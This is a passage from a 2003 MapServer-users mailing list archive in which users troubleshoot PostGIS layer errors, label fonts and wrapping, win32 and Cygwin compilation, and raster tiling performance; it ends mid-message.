Message----- From: Benjamin Wragg [mailto:bwragg at tpg.com.au] Sent: Wednesday, January 22, 2003 2:42 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Hi All, I've just fired PostGIS up and I'm getting the following error when I use the draw() method of the mapObj: Warning: MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error executing POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed too). DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d()),'NDR'),OID::text from WHERE && setSRID('BOX3D(-180 -45,180 225)'::BOX3D, find_srid('','','') ) in C:\MAB\Dev\mapscripttest\test.php on line 4 >From what I've learnt so far, it seems that this query is missing the geometry columns. Any ideas why? Heres the map file I'm using: NAME TEST EXTENT -180 -90 180 90 SIZE 400 300 STATUS ON UNITS DD IMAGECOLOR 255 255 255 SYMBOLSET symbols.sym WEB MINSCALE 2000000 MAXSCALE 50000000 IMAGEPATH "c:/mab/dev/temp/" IMAGEURL "/ms_tmp/" END LAYER CONNECTIONTYPE postgis NAME "testpoints" # Connect to a remote spatial database CONNECTION "user=user password=password dbname=dbname host=localhost" # Get the lines from the 'geom' column of the 'roads' table DATA "the_geom FROM testpoints" STATUS default TYPE POINT CLASS COLOR 255 0 0 END END END I've tried all different configurations in the map file but I don't think this is the problem because the $map=ms_newMapObj('mapfile.map') line of code is getting executed with no errors. Also the $map object exists because I can print out some of the variables? Any ideas? Thanks, Benjamin Wragg _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dblasby at refractions.net Wed Jan 22 13:15:43 2003 From: dblasby at refractions.net (David Blasby) Date: Wed, 22 Jan 2003 13:15:43 -0800 Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() References: <000001c2c256$b278c370$0100a8c0@mapping12> Message-ID: <3E2F09FF.E1680F2D@refractions.net> Benjamin Wragg wrote: > DATA "the_geom FROM testpoints" You must be using an old version of mappostgis.c. Change "FROM" to "from" (lowercase). dave From dblasby at refractions.net Wed Jan 22 13:41:51 2003 From: dblasby at refractions.net (David Blasby) Date: Wed, 22 Jan 2003 13:41:51 -0800 Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() References: <000801c2c25c$d1f17fc0$0100a8c0@mapping12> Message-ID: <3E2F101F.492F5EFF@refractions.net> Benjamin Wragg wrote: > That's the ticket. It's all going now; don't you love case problems! > Thanks heaps for you help David. > > Were using the 3.6.3 source. Is there a fix to this in later versions? Yes - the CVS version shouldn't have any case sensitivity problems. dave From bwragg at tpg.com.au Wed Jan 22 13:25:41 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 23 Jan 2003 07:55:41 +1030 Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() In-Reply-To: <3E2F09FF.E1680F2D@refractions.net> Message-ID: <000801c2c25c$d1f17fc0$0100a8c0@mapping12> That's the ticket. It's all going now; don't you love case problems! Thanks heaps for you help David. Were using the 3.6.3 source. Is there a fix to this in later versions? Thanks again, Benjamin Wragg -----Original Message----- From: David Blasby [mailto:dblasby at refractions.net] Sent: Thursday, 23 January 2003 7:46 AM To: bwragg at tpg.com.au; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Benjamin Wragg wrote: > DATA "the_geom FROM testpoints" You must be using an old version of mappostgis.c. Change "FROM" to "from" (lowercase). dave From bwragg at tpg.com.au Wed Jan 22 13:19:20 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Thu, 23 Jan 2003 07:49:20 +1030 Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() In-Reply-To: Message-ID: <000201c2c25b$ee887d10$0100a8c0@mapping12> Thanks David. I get 2 rows back, one of them matching testpoints. It contins the_geom in the f_geometry_column. Don't worry about it though as David Blasby just posted a solution. Thanks for you help. Cheers, Benjamin -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Thursday, 23 January 2003 7:31 AM To: 'bwragg at tpg.com.au' Subject: RE: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Benjamin, In psql try: select * from geometry_columns What does that return? Dave -----Original Message----- From: Benjamin Wragg [mailto:bwragg at tpg.com.au] Sent: Wednesday, January 22, 2003 3:00 PM To: 'Lowther, David W'; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Testpoints is a table in the database with a geometry column. It's a simple layer that contains 7 points. The geometry is held in the "the_geom" field and when I do a select on the table in psql I can see that in the "the_geom" field every record begins with "SRID=-1;POINT(" followed by the geometry. Cheers, Benjamin Wragg -----Original Message----- From: Lowther, David W [mailto:dlowther at ou.edu] Sent: Thursday, 23 January 2003 7:14 AM To: 'bwragg at tpg.com.au' Subject: RE: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Benjamin, is there a geometry columns table in your database? does testpoints have a record in the table with SRID set? Dave -----Original Message----- From: Benjamin Wragg [mailto:bwragg at tpg.com.au] Sent: Wednesday, January 22, 2003 2:42 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Wierd PostGIS Layer Error - msPOSTGISLayerWhichShapes() Hi All, I've just fired PostGIS up and I'm getting the following error when I use the draw() method of the mapObj: Warning: MapServer Error in msPOSTGISLayerWhichShapes(): prep_DB:Error executing POSTGIS DECLARE statement (0.6 failed - retried 0.5 and it failed too). DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d()),'NDR'),OID::text from WHERE && setSRID('BOX3D(-180 -45,180 225)'::BOX3D, find_srid('','','') ) in C:\MAB\Dev\mapscripttest\test.php on line 4 >From what I've learnt so far, it seems that this query is missing the geometry columns. Any ideas why? Heres the map file I'm using: NAME TEST EXTENT -180 -90 180 90 SIZE 400 300 STATUS ON UNITS DD IMAGECOLOR 255 255 255 SYMBOLSET symbols.sym WEB MINSCALE 2000000 MAXSCALE 50000000 IMAGEPATH "c:/mab/dev/temp/" IMAGEURL "/ms_tmp/" END LAYER CONNECTIONTYPE postgis NAME "testpoints" # Connect to a remote spatial database CONNECTION "user=user password=password dbname=dbname host=localhost" # Get the lines from the 'geom' column of the 'roads' table DATA "the_geom FROM testpoints" STATUS default TYPE POINT CLASS COLOR 255 0 0 END END END I've tried all different configurations in the map file but I don't think this is the problem because the $map=ms_newMapObj('mapfile.map') line of code is getting executed with no errors. Also the $map object exists because I can print out some of the variables? Any ideas? Thanks, Benjamin Wragg _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Norman Wed Jan 22 15:26:25 2003 From: Norman (Norman) Date: Wed, 22 Jan 2003 18:26:25 -0500 Subject: [Mapserver-users] PHP Freaks.com PHP - Using Apache with Cygwin - Apache Web Server Manual - PHP Message-ID: <000501c2c26d$af97a510$7337ba8c@sfdev3> FYI http://www.phpfreaks.com/apache_manual/page/cygwin.html Norman From dbarron at ddive.com Wed Jan 22 16:09:51 2003 From: dbarron at ddive.com (Dan Barron) Date: Wed, 22 Jan 2003 16:09:51 -0800 Subject: [Mapserver-users] How to Draw Annotation Layer Last In-Reply-To: <200301221353.AA1294008522@cshore.com> Message-ID: <5.2.0.9.0.20030122160637.05b41ea0@192.168.11.30> TH, I commented out all the label objects from all the layers except the credits layer and still receive the error Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap font. Must be one of tiny, small, medium, large or giant. I have upgraded to MapServer 3.6.4 and PHP/Mapscript 3.6 w/ PHP 4.3.0 - same results. I am sure it will end up being something subtle somewhere in my map file or php/mapscript code. Thanks for the help. Dan At 01:53 PM 1/22/2003 -0500, TCHaddad wrote: >Dan > >I think your layer definition is missing LABELITEM ... so mapserver does >not know what labels to draw. > >TH > >---------------- > >Message: 12 >Date: Tue, 21 Jan 2003 12:07:56 -0800 >To: mapserver-users at lists.gis.umn.edu >From: Dan Barron >Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last > >--=====================_7244625==.ALT >Content-Type: text/plain; charset="iso-8859-1"; format=flowed >Content-Transfer-Encoding: quoted-printable > >Thanks Ed & Chip, > >I tried to set the layer to type point and the problem persists. > >When I try to use the 'drawLabelCache()' method I get the following error=20 >at the line of the php/mapscript file making the method call - > >Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap font. >Must be one of tiny, small, medium, large or giant. > >Currently I have the annotation layer as the last layer entry in the map=20 >file - and it is still being drawn over by the other layers. Could it be=20 >how I am defining my other layers? Here is an example: > >LAYER > NAME 'states' > TYPE POLYGON > STATUS ON > DATA 'north_america/usa/statesp020' > MAXSCALE 26000000 > MINSCALE 1 > GROUP 'north_america' > CLASS > NAME 'states' > OUTLINECOLOR 204 204 204 > COLOR 255 255 204 > LABEL > COLOR 0 0 0 > SIZE SMALL > END > END >END > > >Am I possibly running into a v3.5 issue? > >Dan > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From woodbri at swoodbridge.com Wed Jan 22 17:38:33 2003 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Wed, 22 Jan 2003 20:38:33 -0500 Subject: [Mapserver-users] How to Draw Annotation Layer Last In-Reply-To: <5.2.0.9.0.20030122160637.05b41ea0@192.168.11.30> References: <200301221353.AA1294008522@cshore.com> Message-ID: <3E2F0149.19054.99DA788@localhost> Dan, Try adding to your LABEL section: TYPE bitmap and see if that helps. -Steve W. On 22 Jan 2003 at 16:09, Dan Barron wrote: > TH, > > I commented out all the label objects from all the layers except the > credits layer and still receive the error > > Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap > font. Must be one of tiny, small, medium, large or giant. > > I have upgraded to MapServer 3.6.4 and PHP/Mapscript 3.6 w/ PHP 4.3.0 > - same results. > > I am sure it will end up being something subtle somewhere in my map > file or php/mapscript code. > > Thanks for the help. > > Dan > > At 01:53 PM 1/22/2003 -0500, TCHaddad wrote: > >Dan > > > >I think your layer definition is missing LABELITEM ... so mapserver > >does not know what labels to draw. > > > >TH > > > >---------------- > > > >Message: 12 > >Date: Tue, 21 Jan 2003 12:07:56 -0800 > >To: mapserver-users at lists.gis.umn.edu > >From: Dan Barron > >Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last > > > >--=====================_7244625==.ALT > >Content-Type: text/plain; charset="iso-8859-1"; format=flowed > >Content-Transfer-Encoding: quoted-printable > > > >Thanks Ed & Chip, > > > >I tried to set the layer to type point and the problem persists. > > > >When I try to use the 'drawLabelCache()' method I get the following > >error=20 at the line of the php/mapscript file making the method call > >- > > > >Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap > >font. Must be one of tiny, small, medium, large or giant. > > > >Currently I have the annotation layer as the last layer entry in the > >map=20 file - and it is still being drawn over by the other layers. > >Could it be=20 how I am defining my other layers? Here is an > >example: > > > >LAYER > > NAME 'states' > > TYPE POLYGON > > STATUS ON > > DATA 'north_america/usa/statesp020' > > MAXSCALE 26000000 > > MINSCALE 1 > > GROUP 'north_america' > > CLASS > > NAME 'states' > > OUTLINECOLOR 204 204 204 > > COLOR 255 255 204 > > LABEL > > COLOR 0 0 0 > > SIZE SMALL > > END > > END > >END > > > > > >Am I possibly running into a v3.5 issue? > > > >Dan > > > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From baelene at hotmail.com Thu Jan 23 00:47:05 2003 From: baelene at hotmail.com (Eric Baelen) Date: Thu, 23 Jan 2003 09:47:05 +0100 Subject: [Mapserver-users] Compile W2k and Oracle Spatial Message-ID: I try to compile MapServer under W2K with Cygwin and Oracle 8.1.7. It seems that it doesn't find the Oracle library. gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_ORACLESPATIAL -DUSE_TIFF -DUSE_JPEG -DU SE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GDAL -I/cygdrive/c/mapserver_dev/gd -I/cygdrive/c/mapserver_dev/proj-4.4.5/src -I/ usr/local/include -I../oracle/ora81/oci/include -I../oracle/ora81/rdbms/public shp2img.o -L. -lmap -ljpeg -L/usr/local/lib -lfreetype -L /lib -lpng -L/lib -lz -ltiff -ljpeg -L/usr/local/lib -lfreetype -L/lib -lpng -L/lib -lz -L/cygdrive/c/mapserver_dev/proj-4.4.5/src/.libs -lproj -ljpeg -L../oracle/ora81/lib -lclntsh -lm /cygdrive/c/mapserver_dev/gd/.libs/libgd.a -o shp2img /usr/lib/gcc-lib/i686-pc-cygwin/3.2/../../../../i686-pc-cygwin/bin/ld: cannot find -lclntsh collect2: ld returned 1 exit status make: *** [shp2img] Error 1 Before compiling do I need to do something on my Oracle libraries (ldconfig) ? Any clue ? Thanks for you help Eric _________________________________________________________________ Chat with your online buddies with MSN Messenger http://messenger.msn.be From listuser at rboxtech.com Thu Jan 23 03:05:57 2003 From: listuser at rboxtech.com (Jaya Prasad Rao E) Date: Thu, 23 Jan 2003 19:05:57 +0800 Subject: [Mapserver-users] Problem with Labeling - Please Help Message-ID: <00ab01c2c2cf$682a59e0$ca00a8c0@ORANGUTAN> Hi, I am just starting exploring Mapserver. I modified the demo.map to mydemo.map and works fine, when I start labeling with one of the attribute called 'LOT' then I can only see the labels on the map, I can't see the full map. Please help me in this problem Here is my map file ------------------------------------------------------------------ # # Start of map file # NAME DEMO STATUS ON SIZE 800 800 EXTENT 1022.09759693411 -515.024894557018 6196.39999920664 6607.42360392416 UNITS METERS SHAPEPATH "data" IMAGECOLOR 255 255 255 #FONTSET "/windows/fonts" # # Start of web interface definition (including WMS enabling metadata) # WEB HEADER demo_header.html TEMPLATE demo.html FOOTER demo_footer.html MINSCALE 1000 MAXSCALE 1550000 IMAGEPATH "/apache/htdocs/tmp/" IMAGEURL "/tmp/" METADATA WMS_TITLE "UMN MapServer Itasca Demo" WMS_ABSTRACT "This is the UMN MapServer demonstration application for Itasca County located in north central Minnesota." WMS_ACCESSCONSTRAINTS none # change this value to match your setup WMS_ONLINERESOURCE "http://localhost/itasca/demo_init.html" WMS_SRS "EPSG:26915" END END QUERYMAP SIZE 200 200 STATUS ON STYLE HILITE COLOR 255 0 0 END # # Start of reference map # REFERENCE IMAGE graphics/reference.gif SIZE 120 120 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 255 255 255 SIZE tiny END STYLE 1 SIZE 80 2 COLOR 255 255 255 UNITS kilometers INTERVALS 1 TRANSPARENT TRUE STATUS TRUE END # # Start of symbol definitions (we're only using a few) # SYMBOL NAME 'circle' TYPE ELLIPSE POINTS 0 0 END FILLED TRUE END # # Start of layer definitions # LAYER NAME mycadas_region TYPE POLYGON STATUS DEFAULT DATA mycadas_region LABELITEM 'LOT' CLASSITEM 'LOT' CLASS LABEL ANGLE auto SIZE tiny COLOR 0 192 0 TYPE bitmap FONT Arial POSITION UR END END CLASS # Make the superhighways brighter and 2 pixels wide EXPRESSION ([LOT] >= 0 and [LOT] <= 4000) COLOR 22 202 20 SYMBOL "circle" SIZE 1 OUTLINECOLOR 0 0 0 END CLASS # Make the superhighways brighter and 2 pixels wide EXPRESSION ([LOT] > 4000 and [LOT] <= 8000) COLOR 202 20 20 SYMBOL "circle" SIZE 1 OUTLINECOLOR 0 0 0 END CLASS # Make the superhighways brighter and 2 pixels wide EXPRESSION ([LOT] > 8000 ) COLOR 22 22 202 SYMBOL "circle" SIZE 1 OUTLINECOLOR 0 0 0 END CLASS # every other county in the state EXPRESSION /./ OUTLINECOLOR 128 128 128 SIZE 1 COLOR 255 255 255 END METADATA WMS_TITLE "County Boundary" WMS_ABSTRACT "Itasca County boundary shapefile. See http://deli.dnr.state.mn.us/metadata/full/ctybdne2.html for more information." WMS_SRS "EPSG:26915" END END END # Map File ------------------------------------------------------------ Thanks in advance Best Regards Rao. From havard.tveite at ikf.nlh.no Thu Jan 23 05:42:47 2003 From: havard.tveite at ikf.nlh.no (Havard Tveite) Date: Thu, 23 Jan 2003 14:42:47 +0100 Subject: [Mapserver-users] Label background scaling problem Message-ID: <3E2FF157.1B9E2760@ikf.nlh.no> Mapserver 3.7, nightly 23. january. (Solaris 2.5.1) MapServer version 3.7 (development) OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=GD2_RGB INPUT=EPPL7 INPUT=SDE INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE GDAL 1.1.8 GD 2.0.11 PostGIS 0.7.3 Freetype 2.1.2 I have tried to use labels with a background. I wanted to scale both the (point) symbols and the labels (with background) according to the scale of the map (different scaling for the point symbols and the labels). The symbols seem to scale OK, the labels seem to scale OK, but the label background rectangles do not scale the same as the label text (in my case, they scale "too much", so the background rectangles become enormous compared to the text when zooming in). If I set LABEL.MAXSIZE to the same value as LABEL.MINSIZE and LABEL.SIZE, the text behaves as expected, but the background box is not affected. Am I doing something wrong? (There might also be some problems with label placement when scaling labels) I have included some (relevant?) parts from my map-file below. ******************************** OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" IMAGEMODE RGBA TRANSPARENT ON END ******************************** The LAYER definition: ******************************** LAYER NAME test DATA test STATUS DEFAULT TYPE POINT PROJECTION "init=epsg:32633" #32633: UTM zone 33, WGS84 END LABELITEM "testitem" LABELMAXSCALE 500000 LABELMINSCALE 10000 MAXSCALE 100000000 MINSCALE 10000 SYMBOLSCALE 400000 CLASS NAME "Test" COLOR 255 0 255 SYMBOL "circle" SIZE 5 MINSIZE 3 MAXSIZE 20 LABEL COLOR 0 0 0 BACKGROUNDCOLOR 225 225 200 POSITION UR FONT futura-bold TYPE truetype SIZE 10 MINSIZE 4 MAXSIZE 20 END END # CLASS END # LAYER ******************************** -- H?vard Tveite Phone: +47 64948857 Department of Mapping Sciences Fax: +47 64948856 Agricultural University of Norway POBox 5034, N-1432 ?s, NORWAY http://www.nlh.no/ikf/ From pnduarte at mail.telepac.pt Thu Jan 23 06:10:07 2003 From: pnduarte at mail.telepac.pt (Pedro Duarte) Date: Thu, 23 Jan 2003 14:10:07 -0000 Subject: [Mapserver-users] Mapserver 3.7dev win32 isues Message-ID: <000701c2c2e9$2b63e250$464da8c0@long> This is a multi-part message in MIME format. ------=_NextPart_000_0004_01C2C2E9.224CEB30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I'm compiling mapserver on win32 and found the following isues: - mapparser.h is not being created (already posted here) added the following to makefile.vc LEX =3D flex YACC =3D bison .... mapparser.c: mapparser.y $(YACC) -p msyy -d -omapparser.c mapparser.y - after adding postgis support got the following error Creating library mapserv.lib and object mapserv.exp mapserver.lib(mappostgis.obj) : error LNK2001: unresolved external = symbol _rindex mapserv.exe : fatal error LNK1120: 1 unresolved externals NMAKE : fatal error U1077: 'link' : return code '0x460' Stop. after changing postgis.c line 322 //pos_paren =3D strstr(pos_ftab, ")"); // Closing paren of clause pos_paren =3D rindex(pos_ftab,')'); to=20 pos_paren =3D strstr(pos_ftab, ")"); // Closing paren of clause // pos_paren =3D rindex(pos_ftab,')'); it works - shp2img -o xx.png parameter doesn't create any file, but shp2img > = xx.png works - When compiling mapscript java i get Creating library mapscript.lib and object mapscript.exp mapscript_wrap.obj : error LNK2001: unresolved external symbol = _msConstrainRect mapscript_wrap.obj : error LNK2001: unresolved external symbol = _msAddColor mapscript_wrap.obj : error LNK2001: unresolved external symbol = _msLoadPalette mapscript.dll : fatal error LNK1120: 3 unresolved externals NMAKE : fatal error U1077: 'link' : return code '0x460' Stop. and=20 outputFormatObj.java:125: setExtension(java.lang.String) is already = defined in e du.umn.gis.mapscript.outputFormatObj public void setExtension(String extension) { ^ outputFormatObj.java:129: setMimetype(java.lang.String) is already = defined in ed u.umn.gis.mapscript.outputFormatObj public void setMimetype(String mimetype) { ^ 2 errors Please send some comments and make the updates if possible Pedro Duarte ------=_NextPart_000_0004_01C2C2E9.224CEB30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I'm compiling mapserver on win32 and = found the=20 following isues:
- mapparser.h is not being created = (already posted=20 here)
added the following to = makefile.vc
LEX =3D flex
YACC =3D = bison
....
mapparser.c: = mapparser.y
 $(YACC) -p msyy=20 -d -omapparser.c mapparser.y
 
- after adding postgis support got the = following=20 error
   Creating library = mapserv.lib and=20 object mapserv.exp
mapserver.lib(mappostgis.obj) : error LNK2001: = unresolved=20 external symbol _rindex
mapserv.exe : fatal error LNK1120: 1 = unresolved=20 externals
NMAKE : fatal error U1077: 'link' : return code=20 '0x460'
Stop.
 
after changing postgis.c line = 322
  //pos_paren =3D = strstr(pos_ftab, ")"); //=20 Closing paren of clause
  pos_paren =3D=20 rindex(pos_ftab,')');
 
to
 
  pos_paren =3D = strstr(pos_ftab, ")"); //=20 Closing paren of clause
//  pos_paren =3D=20 rindex(pos_ftab,')');
it works
 
 
- shp2img -o xx.png parameter doesn't = create any=20 file, but shp2img > xx.png works

- When compiling mapscript java i = get
   Creating library = mapscript.lib and=20 object mapscript.exp
mapscript_wrap.obj : error LNK2001: unresolved = external=20 symbol _msConstrainRect
mapscript_wrap.obj : error LNK2001: = unresolved=20 external symbol _msAddColor
mapscript_wrap.obj : error LNK2001: = unresolved=20 external symbol _msLoadPalette
mapscript.dll : fatal error LNK1120: 3 = unresolved externals
NMAKE : fatal error U1077: 'link' : return code=20 '0x460'
Stop.
 
and
 
outputFormatObj.java:125:=20 setExtension(java.lang.String) is already defined in=20 e
du.umn.gis.mapscript.outputFormatObj
  public void=20 setExtension(String extension)=20 {
           &n= bsp; =20 ^
outputFormatObj.java:129: setMimetype(java.lang.String) is already = defined=20 in ed
u.umn.gis.mapscript.outputFormatObj
  public void=20 setMimetype(String mimetype)=20 {
           &n= bsp; =20 ^
2 errors
 
Please send some comments and make the = updates if=20 possible
 
Pedro Duarte
------=_NextPart_000_0004_01C2C2E9.224CEB30-- From jmccue at geovue.com Thu Jan 23 06:35:06 2003 From: jmccue at geovue.com (John McCue) Date: Thu, 23 Jan 2003 09:35:06 -0500 Subject: [Mapserver-users] DBF Joins Message-ID: Hi I need to use DBF table joins in MapServer v.3.7. I just updated my code with the latest from CVS and I have found the msJoinDBFTables function in mapquery.c, but I don't see where this function is ever called anywhere. - Have joins been activated in the latest code? Any information about how they work would be helpful. Thanks! From nida at webstar.co.uk Thu Jan 23 07:08:52 2003 From: nida at webstar.co.uk (nida Khan) Date: Thu, 23 Jan 2003 15:08:52 -0000 Subject: [Mapserver-users] WRAP a label Message-ID: <032601c2c2f1$578472c0$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_0323_01C2C2F1.570EF4A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi List, I've got some issues with labels. 1) I want to label my layer using WRAP as my object names are big so = they overlap. here is my layer def. # to disply district name on map LAYER # start of the "label district" layer object CONNECTIONTYPE postgis NAME "dist_label" CONNECTION "host=3D34.3.40.1 port=3D343 user=3Dtest password=3Dtest = dbname=3Dtest" DATA "wkb_geometry from test_poly" STATUS OFF TYPE ANNOTATION LABELITEM "admin_name" CLASS NAME "dist_label" LABEL FORCE TRUE POSITION CC FONT fritqat-italic TYPE truetype SIZE 6 COLOR 0 0 0 WRAP 20 END END # end of class object END # end of layer object I get this error when I include "wrap" Warning: MapServer Error in getCharacter(): (20):(259)=20 Any idea?? 2) One of the of the polygon does not get labeled, although I can query = it and get right result.!!! I'll appreciate any input from you guys Many Thanks Nida. ------=_NextPart_000_0323_01C2C2F1.570EF4A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi List,
 
I've got some issues with labels.
 
1) I want to label my layer using WRAP as my object = names are=20 big so they overlap.
 here is my layer def.
 
# to disply district name  on map
LAYER # = start of the=20 "label district" layer object
  CONNECTIONTYPE postgis
  = NAME=20 "dist_label"
  CONNECTION "host=3D34.3.40.1 port=3D343 = user=3Dtest=20 password=3Dtest dbname=3Dtest"
  DATA "wkb_geometry from=20 test_poly"
  STATUS OFF
  TYPE ANNOTATION
  = LABELITEM=20 "admin_name"
  CLASS
    NAME=20 "dist_label"
    = LABEL
      FORCE=20 TRUE
      POSITION=20 CC
      FONT=20 fritqat-italic
      TYPE=20 truetype
      SIZE=20 6
      COLOR 0 0=20 0
       WRAP 20
   =20 END
  END # end of class object
END # end of = layer=20 object
I get this error when I include "wrap"
Warning: MapServer Error in getCharacter(): = (20):(259)=20
Any idea??
 
2) One of the of the polygon does not get labeled, = although I=20 can query it and get right result.!!!
 
I'll appreciate any input from you guys
Many Thanks
Nida.
 

 
------=_NextPart_000_0323_01C2C2F1.570EF4A0-- From Chip.Hankley at GASAI.Com Thu Jan 23 07:25:03 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Thu, 23 Jan 2003 09:25:03 -0600 Subject: [Mapserver-users] WRAP a label Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852F8@postoffice.GASAI.Com> WRAP refers to a character in the dataset that signifies a carriage return. For example, you might include a '$' in your label every 20 characters. MapServer will then 'wrap' the text a that point. At least that's how I understand that function to work. Chip From hubert.froehlich at bvv.bayern.de Thu Jan 23 07:45:10 2003 From: hubert.froehlich at bvv.bayern.de (Hubert =?ISO-8859-1?Q?Fr=F6hlich?=) Date: Thu, 23 Jan 2003 16:45:10 +0100 Subject: [Mapserver-users] raster image server: optimal performance Message-ID: <3E300E06.9050006@bvv.bayern.de> Hello list, I want to use MapServer 3.6.3 as a raster server for rectified aerial photos , working on a Linux box (SuSE 8.0), I have also gdal. For testing, I worked with a dataset of jpg's (plus worldfiles) or geotiffs. I have a test dataset of aerial photos (jpg plus worldfile, alernatively geotiff) of an area 40 x 25 km in 1km-square tiles with resolution 40 cm, i.e. the tiles are 2500x2500 pixels, about 800 tiles. To get things working at all, I proceeded the usual way for raster images setting up an index shapefile (e.g. with gdaltindex). So far, everything OK ... Now I want to speed up things, as my original dataset covers 200x350 km, all in 40cm resolution. (IN jpeg 80 GByte, in GeoTiff about 400 GByte!), in 1km-squares that would mean 70000 tiles. The files are stored in a simple file system. a) I tried out jpeg's vs (uncompressed) geotiffs. With the test dataset, jpegs (also diskspace-saving!) seemed to perform slightly better. Can anybody share the experience or give me hints about the best performing data format? b) What effect on MapServer response time does the tile size have? Any recommendations on the list for optimal tile size (bigger means less tiles) for best performance? Any dependencies on the data format? c) At the moment, I use b/w photos. What changes do I face in performance if I switch to color? Thank you Hubert -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fr?hlich Bezirksfinanzdirektion M?nchen Alexandrastr. 3, D-80538 M?nchen, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2459 hubert.froehlich at bvv.bayern.de From samgoody at softhome.net Thu Jan 23 07:35:23 2003 From: samgoody at softhome.net (Sam Gooding) Date: Thu, 23 Jan 2003 09:35:23 -0600 Subject: [Mapserver-users] Create .MAP File Programmatically Message-ID: <3E300BBB.7070207@softhome.net> Hello all! Hopefully this question hasn?t come up too often in the past, but I have checked the FAQ, the mailing list archives, the contributed software pages, and the Internet without success. Is there any other tool (preferably open source) that will allow me to create a .MAP files from a given set of .SHP, .SHX, and .DBF files? I am aware of the utility for ArcView on the contributed software page, but am still in the process of getting it to work. I have also investigated MapLab (http://www2.dmsolutions.ca/webtools/maplab/index.html) but have been unable to find and documentation on how this might be done. I have also been reading the mapfile specs (http://mapserver.gis.umn.edu/doc36/mapfile-reference.html) but have found no mention of an automated tool. Any information anyone could provide would be greatly appreciated. Thanks in advance! From berend.veldkamp at aris.nl Thu Jan 23 07:35:53 2003 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Thu, 23 Jan 2003 16:35:53 +0100 Subject: [Mapserver-users] WRAP a label References: <032601c2c2f1$578472c0$a901a8c0@private.webstar.co.uk> Message-ID: <3E300BD9.635B739@aris.nl> This is from the mapfile documentation: WRAP [character] Character that represents an end-of-line condition in label text, thus resulting in a multi-line label. I guess you need to insert a special character in your text where you want to have it wrapped. Example: This is a long\line of text WRAP '\' wraps to: This is a long line of text Berend > nida Khan wrote: > > WRAP 20 -- From ed at topozone.com Thu Jan 23 07:58:04 2003 From: ed at topozone.com (Ed McNierney) Date: Thu, 23 Jan 2003 10:58:04 -0500 Subject: [Mapserver-users] raster image server: optimal performance Message-ID: <13858AA1A74F30419F319ACB66A9D1220195A6@mercator.topozone.com> Hubert - This is a complex subject. The most important thing is to have a good idea of how your images will be used. You want to always be thinking about how a typical map image request translates into disk reading activity. In the ideal world, each map image request would translate into opening exactly one source image file and reading consecutive bytes from that file to produce exactly the image you need and no more. The real world doesn't work that way, but you should always be thinking about how to come as close to that goal as you can. Here are some thoughts. 1. JPEG is usually a bad idea, relative to GeoTIFF. That's because the JPEG format requires the entire image to be decoded in order to return a small portion of it. GeoTIFF allows 